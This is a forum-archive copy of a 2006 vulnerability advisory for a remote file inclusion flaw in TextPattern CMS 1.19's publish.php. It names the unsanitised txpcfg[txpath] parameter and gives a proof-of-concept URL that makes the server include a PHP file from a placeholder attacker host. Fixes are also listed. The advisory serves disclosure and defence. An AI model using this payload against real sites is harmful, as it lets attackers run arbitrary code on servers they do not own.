邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2006-10-25 23:07

TextPattern <= 1.19 (publish.php) Remote File Inclusion Vulnerability

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TextPattern <=g1.19 (txpcfg[txpath]) Remote File Inclusion Vulnerability
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Author    : Zeni Susanto A.K.A Bithedz
Date Found  : October, 25th 2006
Location  : Indonesia,Bandung
Critical Lvl  : Highly critical
Impact    : System access
Where    : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application  : TextPattern
version    : <=g1.19
URL    : [url]http://textpattern.com/deanload/textpattern_g119.zip[/url]

textpattern is A free, flexible, elegant, easy-to-use content management system for all kinds of websites, even weblogs.


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Vulnerability:
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In file publish.php I found vulnerability script
--------------------------publish.php---------------------------------------
define("txpath",$txpcfg[&#39;txpath&#39;]);
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Input passed to the "txpcfg[&#39;txpath&#39;]" parameter in publish.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Proof Of Concept:
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[url]http://yourtargetsite/[/url][textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution:
~~~~
- Sanitize variable $txpcfg[&#39;txpath&#39;] on affected files.
- Turn off register_globals

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Shoutz:
~
~ K-159
~ Monik My Brain
~ #bridge (silent) @irc.dal.net
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Contact:
~
bithedz[at]gmail[dot]com



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